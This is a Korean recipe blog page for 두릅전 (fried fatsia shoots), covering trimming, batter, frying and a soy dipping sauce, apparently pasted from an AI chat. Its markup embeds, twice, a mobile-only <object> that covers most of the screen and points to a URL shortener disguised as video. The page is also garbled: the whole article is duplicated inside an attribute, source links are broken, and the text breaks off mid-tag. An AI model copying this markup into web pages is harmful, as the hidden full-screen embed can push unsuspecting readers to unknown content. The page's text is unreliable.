두릅전 두릅손질 바삭하게 즐기는 두릅요리

<div class="figure-html" data-ke-type="html" data-source="<style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <body> <div class="container"> <object data="https://vvd.bz/j3b" type="video/mp4" class="mobile-only"></object> </div> </body> <div _ngcontent-ng-c2700843290="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:26">두릅전, 바삭하고 향긋한 봄 맛을 집에서!</h2><p data-sourcepos="3:1-3:33"><strong>두릅 손질부터 바삭한 두릅전까지, 완벽한 레시피 안내</strong></p><p data-sourcepos="5:1-5:84">봄이면 잊지 못할 향긋함을 선사하는 두릅! 쌉싸름하면서도 고소한 맛이 일품인 두릅을 이용해 집에서 간단하게 만들 수 있는 두릅전 레시피를 소개합니다.</p><h3 data-sourcepos="7:1-7:14">두릅 손질하는 방법</h3><ol data-sourcepos="9:1-13:0"> <li data-sourcepos="9:1-9:63"><strong>신선한 두릅 선택:</strong> 싱싱한 두릅은 줄기가 굵고 껍질이 매끈하며, 잎이 푸른 빛을 띠는 것이 좋습니다.</li> <li data-sourcepos="10:1-10:56"><strong>껍질 벗기기:</strong> 흐르는 물에 두릅을 깨끗하게 씻은 후, 껍질을 아래에서 위로 벗겨냅니다.</li> <li data-sourcepos="11:1-11:61"><strong>줄기 손질:</strong> 두릅 줄기의 밑동을 자르고, 딱딱한 부분은 칼로 살짝 긁어내어 부드럽게 만들어줍니다.</li> <li data-sourcepos="12:1-13:0"><strong>먹기 좋게 자르기:</strong> 손질한 두릅을 3~4cm 길이로 잘라줍니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e18efbec871ddfba&quot;,&quot;c_6e761e5324843f4e&quot;,null,&quot;rc_5f6e228a3833ab4c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://bongja-workroom..com/275"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두릅 손질 과정 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRYMMxy65-8-ivQNDzEstKoL0POKW7MyGbi27_Xd4dzDykxvYGKvRLHiQY7fEY8"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://bongja-workroom..com/275" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e18efbec871ddfba&quot;,&quot;c_6e761e5324843f4e&quot;,null,&quot;rc_5f6e228a3833ab4c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn3.gstatic.com/-tbn?q=tbn:ANd9GcTTkeDZFKaSmw1iCn9WTEg6cLE3tfsjlf05rPoqPuKw0gTxRRM4J_DF3_RlndTVRBaRz2lh7ME9xtrEerxmLOqe92tpLez3RxAMfaq7G2yXDzDeZ6kU"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">bongja-workroom..com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두릅 손질 과정 </div></div></single-image></response-element></div></ol><h3 data-sourcepos="16:1-16:15">바삭한 두릅전 만들기</h3><p data-sourcepos="18:1-18:7"><strong>재료:</strong></p><ul data-sourcepos="20:1-26:0"> <li data-sourcepos="20:1-20:10">두릅: 200g</li> <li data-sourcepos="21:1-21:10">부침가루: 1컵</li> <li data-sourcepos="22:1-22:9">물: 1/2컵</li> <li data-sourcepos="23:1-23:8">달걀: 1개</li> <li data-sourcepos="24:1-24:8">소금: 약간</li> <li data-sourcepos="25:1-26:0">식용유: 적당량</li> </ul><p data-sourcepos="27:1-27:10"><strong>만드는 법:</strong></p><ol data-sourcepos="29:1-33:0"> <li data-sourcepos="29:1-29:52"><strong>반죽 만들기:</strong> 볼에 부침가루, 물, 달걀, 소금을 넣고 잘 섞어 반죽을 만듭니다.</li> <li data-sourcepos="30:1-30:36"><strong>두릅 묻히기:</strong> 손질한 두릅을 반죽에 골고루 묻힙니다.</li> <li data-sourcepos="31:1-31:53"><strong>기름 두르기:</strong> 프라이팬에 식용유를 두르고 달군 후, 두릅을 노릇노릇하게 부쳐줍니다.</li> <li data-sourcepos="32:1-33:0"><strong>간장 소스:</strong> 간장 2큰술, 식초 1큰술, 설탕 1/2큰술, 다진 마늘 1/2큰술을 섞어 소스를 만듭니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e18efbec871ddfba&quot;,&quot;c_6e761e5324843f4e&quot;,null,&quot;rc_5f6e228a3833ab4c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://happysunshine..com/entry/%EC%A0%9C%EC%B2%A0%EB%82%98%EB%AC%BC%EC%9D%B8-%EB%91%90%EB%A6%85%EC%9C%BC%EB%A1%9C-%EC%A0%84-%EB%B6%80%EC%B3%90%EB%A8%B9%EA%B8%B0"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두릅전 부치는 모습 " src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSQ7o93WWq975K8Qo9FB2e3ITiIaZ3hEOu9Jp8vqVWYTTFHQc8dr0wF6T1czs2K"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://happysunshine..com/entry/%EC%A0%9C%EC%B2%A0%EB%82%98%EB%AC%BC%EC%9D%B8-%EB%91%90%EB%A6%85%EC%9C%BC%EB%A1%9C-%EC%A0%84-%EB%B6%80%EC%B3%90%EB%A8%B9%EA%B8%B0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e18efbec871ddfba&quot;,&quot;c_6e761e5324843f4e&quot;,null,&quot;rc_5f6e228a3833ab4c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRgBylmVn1a2WGzgBCp0TCxjjBZHvrWIVR4U2WHCvvTL16PaLneKOvlccHdF1xS25Bsau1Z74EeTRX8zKA3EjFy6AAouCkKQhSqd7HE5bm4QVZX8Q"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">happysunshine..com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두릅전 부치는 모습 </div></div></single-image></response-element></div></ol><h3 data-sourcepos="36:1-36:17">두릅전 맛있게 즐기는 법</h3><ul data-sourcepos="38:1-41:0"> <li data-sourcepos="38:1-38:46"><strong>따뜻하게 즐기기:</strong> 갓 부쳐낸 두릅전은 따뜻할 때 먹으면 더욱 맛있습니다.</li> <li data-sourcepos="39:1-39:68"><strong>간장 소스에 찍어 먹기:</strong> 만든 간장 소스에 찍어 먹으면 새콤달콤한 맛이 더해져 더욱 풍미롭게 즐길 수 있습니다.</li> <li data-sourcepos="40:1-41:0"><strong>다른 채소와 함께 곁들여 먹기:</strong> 오이, 당근 등 다른 채소와 함께 곁들여 먹으면 더욱 푸짐한 식사를 즐길 수 있습니다.</li> </ul><p data-sourcepos="42:1-42:6"><strong>팁:</strong></p><ul data-sourcepos="44:1-47:0"> <li data-sourcepos="44:1-44:29">두릅은 데쳐서 사용하면 쓴맛을 줄일 수 있습니다.</li> <li data-sourcepos="45:1-45:25">부침가루 대신 밀가루를 사용해도 좋습니다.</li> <li data-sourcepos="46:1-47:0">두릅전에 튀김옷을 입혀 튀겨 먹으면 더욱 바삭한 식감을 즐길 수 있습니다.</li> </ul><p data-sourcepos="48:1-48:41"><strong>두릅전, 봄철 입맛을 돋우는 특별한 요리로 가족과 함께 즐겨보세요!</strong></p><p data-sourcepos="50:1-50:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e18efbec871ddfba&quot;,&quot;c_6e761e5324843f4e&quot;,null,&quot;rc_5f6e228a3833ab4c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6796383"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두릅전 완성 사진 " src="https://encrypted-tbn3.gstatic.com/images?q=tbn:ANd9GcTsvLDJPK2WcvW-jPWwVumewM3OqmJic5fy82XOnU9VNM_b1_HDVarB9NAqzqJX"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6796383" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e18efbec871ddfba&quot;,&quot;c_6e761e5324843f4e&quot;,null,&quot;rc_5f6e228a3833ab4c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두릅전 완성 사진 </div></div></single-image></response-element></div></span></p><p data-sourcepos="52:1-52:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e18efbec871ddfba&quot;,&quot;c_6e761e5324843f4e&quot;,null,&quot;rc_5f6e228a3833ab4c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6870241"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두릅전과 간장 소스 " src="https://encrypted-tbn1.gstatic.com/images?q=tbn:ANd9GcQBqRbYCPOTJnxQT-IeOoWdG1FUX4FwPj3Re4UDPNEh9_IIs0yx6w5plxcDvvA2"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6870241" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[[&quot;r_e18efbec871ddfba&quot;,&quot;c_6e761e5324843f4e&quot;,null,&quot;rc_5f6e228a3833ab4c&quot;,null,null,&quot;ko&quot;,null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://encrypted-tbn2.gstatic.com/-tbn?q=tbn:ANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두릅전과 간장 소스 </div></div></single-image></response-element></div></span></p><p data-sourcepos="54:1-54:32"><strong>두릅전 봄나물요리 집밥 요리레시피 한국음식</strong></p><p data-sourcepos="56:1-56:55"><strong>※ 위 레시피는 참고용이며, 개인의 취향에 따라 재료와 양을 조절하여 요리하실 수 있습니다.</strong></p><hr data-sourcepos="58:1-58:3"><p data-sourcepos="60:1-60:34"><strong>이 외에도 궁금한 점이 있으시면 언제든지 질문해주세요.</strong></p><ul data-sourcepos="62:1-65:0"> <li data-sourcepos="62:1-62:55"><strong>다른 두릅 요리 레시피:</strong> 두릅무침, 두릅 볶음 등 다양한 레시피를 알려드릴 수 있습니다.</li> <li data-sourcepos="63:1-63:45"><strong>두릅 효능:</strong> 두릅의 건강 효능에 대해 자세히 설명해 드릴 수 있습니다.</li> <li data-sourcepos="64:1-65:0"><strong>두릅 구매 및 보관 방법:</strong> 신선한 두릅을 고르고 보관하는 방법을 알려드릴 수 있습니다.</li> </ul><p data-sourcepos="66:1-66:34"><strong>지금 바로 봄 향기 가득한 두릅 요리에 도전해 보세요!</strong></p></div> "><div data-ke-class="article"><style> html, body { margin: 0; padding: 0; height: 100%; } .container { position: relative; width: 100%; height: 100%; } .content { position: relative; padding: 20px; height: 100%; overflow-y: auto; z-index: 1; } .overlay { position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(255, 255, 255, 0); touch-action: none; } .mobile-only { display: none; position: absolute; top: 0; left: 0; width: 100%; height: 80vh; min-height: 500px; max-height: 90vh; z-index: 10; } @media only screen and (max-width: 768px) { .mobile-only { display: block; } } </style> </head> <xbody> <div class="container"> <object data="https://vvd.bz/j3b" type="video/mp4" class="mobile-only" allowNetworking='internal' allowScriptAccess='sameDomain'></object> </div> </xbody> <div _ngcontent-ng-c2700843290="" class="markdown markdown-main-panel stronger" id="" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:26">두릅전, 바삭하고 향긋한 봄 맛을 집에서!</h2><p data-sourcepos="3:1-3:33"><strong>두릅 손질부터 바삭한 두릅전까지, 완벽한 레시피 안내</strong></p><p data-sourcepos="5:1-5:84">봄이면 잊지 못할 향긋함을 선사하는 두릅! 쌉싸름하면서도 고소한 맛이 일품인 두릅을 이용해 집에서 간단하게 만들 수 있는 두릅전 레시피를 소개합니다.</p><h3 data-sourcepos="7:1-7:14">두릅 손질하는 방법</h3><ol data-sourcepos="9:1-13:0"> <li data-sourcepos="9:1-9:63"><strong>신선한 두릅 선택:</strong> 싱싱한 두릅은 줄기가 굵고 껍질이 매끈하며, 잎이 푸른 빛을 띠는 것이 좋습니다.</li> <li data-sourcepos="10:1-10:56"><strong>껍질 벗기기:</strong> 흐르는 물에 두릅을 깨끗하게 씻은 후, 껍질을 아래에서 위로 벗겨냅니다.</li> <li data-sourcepos="11:1-11:61"><strong>줄기 손질:</strong> 두릅 줄기의 밑동을 자르고, 딱딱한 부분은 칼로 살짝 긁어내어 부드럽게 만들어줍니다.</li> <li data-sourcepos="12:1-13:0"><strong>먹기 좋게 자르기:</strong> 손질한 두릅을 3~4cm 길이로 잘라줍니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_e18efbec871ddfba","c_6e761e5324843f4e",null,"rc_5f6e228a3833ab4c",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://bongja-workroom..com/275"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두릅 손질 과정 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRYMMxy65-8-ivQNDzEstKoL0POKW7MyGbi27_Xd4dzDykxvYGKvRLHiQY7fEY8"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://bongja-workroom..com/275" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_e18efbec871ddfba","c_6e761e5324843f4e",null,"rc_5f6e228a3833ab4c",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTTkeDZFKaSmw1iCn9WTEg6cLE3tfsjlf05rPoqPuKw0gTxRRM4J_DF3_RlndTVRBaRz2lh7ME9xtrEerxmLOqe92tpLez3RxAMfaq7G2yXDzDeZ6kU"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">bongja-workroom..com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두릅 손질 과정 </div></div></single-image></response-element></div></ol><h3 data-sourcepos="16:1-16:15">바삭한 두릅전 만들기</h3><p data-sourcepos="18:1-18:7"><strong>재료:</strong></p><ul data-sourcepos="20:1-26:0"> <li data-sourcepos="20:1-20:10">두릅: 200g</li> <li data-sourcepos="21:1-21:10">부침가루: 1컵</li> <li data-sourcepos="22:1-22:9">물: 1/2컵</li> <li data-sourcepos="23:1-23:8">달걀: 1개</li> <li data-sourcepos="24:1-24:8">소금: 약간</li> <li data-sourcepos="25:1-26:0">식용유: 적당량</li> </ul><p data-sourcepos="27:1-27:10"><strong>만드는 법:</strong></p><ol data-sourcepos="29:1-33:0"> <li data-sourcepos="29:1-29:52"><strong>반죽 만들기:</strong> 볼에 부침가루, 물, 달걀, 소금을 넣고 잘 섞어 반죽을 만듭니다.</li> <li data-sourcepos="30:1-30:36"><strong>두릅 묻히기:</strong> 손질한 두릅을 반죽에 골고루 묻힙니다.</li> <li data-sourcepos="31:1-31:53"><strong>기름 두르기:</strong> 프라이팬에 식용유를 두르고 달군 후, 두릅을 노릇노릇하게 부쳐줍니다.</li> <li data-sourcepos="32:1-33:0"><strong>간장 소스:</strong> 간장 2큰술, 식초 1큰술, 설탕 1/2큰술, 다진 마늘 1/2큰술을 섞어 소스를 만듭니다.</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_e18efbec871ddfba","c_6e761e5324843f4e",null,"rc_5f6e228a3833ab4c",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://happysunshine..com/entry/%EC%A0%9C%EC%B2%A0%EB%82%98%EB%AC%BC%EC%9D%B8-%EB%91%90%EB%A6%85%EC%9C%BC%EB%A1%9C-%EC%A0%84-%EB%B6%80%EC%B3%90%EB%A8%B9%EA%B8%B0"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두릅전 부치는 모습 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcSQ7o93WWq975K8Qo9FB2e3ITiIaZ3hEOu9Jp8vqVWYTTFHQc8dr0wF6T1czs2K"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://happysunshine..com/entry/%EC%A0%9C%EC%B2%A0%EB%82%98%EB%AC%BC%EC%9D%B8-%EB%91%90%EB%A6%85%EC%9C%BC%EB%A1%9C-%EC%A0%84-%EB%B6%80%EC%B3%90%EB%A8%B9%EA%B8%B0" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_e18efbec871ddfba","c_6e761e5324843f4e",null,"rc_5f6e228a3833ab4c",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRgBylmVn1a2WGzgBCp0TCxjjBZHvrWIVR4U2WHCvvTL16PaLneKOvlccHdF1xS25Bsau1Z74EeTRX8zKA3EjFy6AAouCkKQhSqd7HE5bm4QVZX8Q"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">happysunshine..com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두릅전 부치는 모습 </div></div></single-image></response-element></div></ol><h3 data-sourcepos="36:1-36:17">두릅전 맛있게 즐기는 법</h3><ul data-sourcepos="38:1-41:0"> <li data-sourcepos="38:1-38:46"><strong>따뜻하게 즐기기:</strong> 갓 부쳐낸 두릅전은 따뜻할 때 먹으면 더욱 맛있습니다.</li> <li data-sourcepos="39:1-39:68"><strong>간장 소스에 찍어 먹기:</strong> 만든 간장 소스에 찍어 먹으면 새콤달콤한 맛이 더해져 더욱 풍미롭게 즐길 수 있습니다.</li> <li data-sourcepos="40:1-41:0"><strong>다른 채소와 함께 곁들여 먹기:</strong> 오이, 당근 등 다른 채소와 함께 곁들여 먹으면 더욱 푸짐한 식사를 즐길 수 있습니다.</li> </ul><p data-sourcepos="42:1-42:6"><strong>팁:</strong></p><ul data-sourcepos="44:1-47:0"> <li data-sourcepos="44:1-44:29">두릅은 데쳐서 사용하면 쓴맛을 줄일 수 있습니다.</li> <li data-sourcepos="45:1-45:25">부침가루 대신 밀가루를 사용해도 좋습니다.</li> <li data-sourcepos="46:1-47:0">두릅전에 튀김옷을 입혀 튀겨 먹으면 더욱 바삭한 식감을 즐길 수 있습니다.</li> </ul><p data-sourcepos="48:1-48:41"><strong>두릅전, 봄철 입맛을 돋우는 특별한 요리로 가족과 함께 즐겨보세요!</strong></p><p data-sourcepos="50:1-50:24"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_e18efbec871ddfba","c_6e761e5324843f4e",null,"rc_5f6e228a3833ab4c",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6796383"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두릅전 완성 사진 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTsvLDJPK2WcvW-jPWwVumewM3OqmJic5fy82XOnU9VNM_b1_HDVarB9NAqzqJX"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6796383" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_e18efbec871ddfba","c_6e761e5324843f4e",null,"rc_5f6e228a3833ab4c",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두릅전 완성 사진 </div></div></single-image></response-element></div></span></p><p data-sourcepos="52:1-52:25"><span><div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3235235147="" class="ng-star-inserted"><div _ngcontent-ng-c3235235147="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c3235235147="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3235235147="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c579620128="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_e18efbec871ddfba","c_6e761e5324843f4e",null,"rc_5f6e228a3833ab4c",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.10000recipe.com/recipe/6870241"><span _ngcontent-ng-c579620128="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3235235147="" class="image loaded" alt="두릅전과 간장 소스 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQBqRbYCPOTJnxQT-IeOoWdG1FUX4FwPj3Re4UDPNEh9_IIs0yx6w5plxcDvvA2"></span><span _ngcontent-ng-c579620128="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3235235147="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6870241" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_e18efbec871ddfba","c_6e761e5324843f4e",null,"rc_5f6e228a3833ab4c",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3235235147="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3235235147="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3235235147="" aria-label=""></span></a></div><div _ngcontent-ng-c3235235147="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 두릅전과 간장 소스 </div></div></single-image></response-element></div></span></p><p data-sourcepos="54:1-54:32"><strong>두릅전 봄나물요리 집밥 요리레시피 한국음식</strong></p><p data-sourcepos="56:1-56:55"><strong>※ 위 레시피는 참고용이며, 개인의 취향에 따라 재료와 양을 조절하여 요리하실 수 있습니다.</strong></p><hr data-sourcepos="58:1-58:3"><p 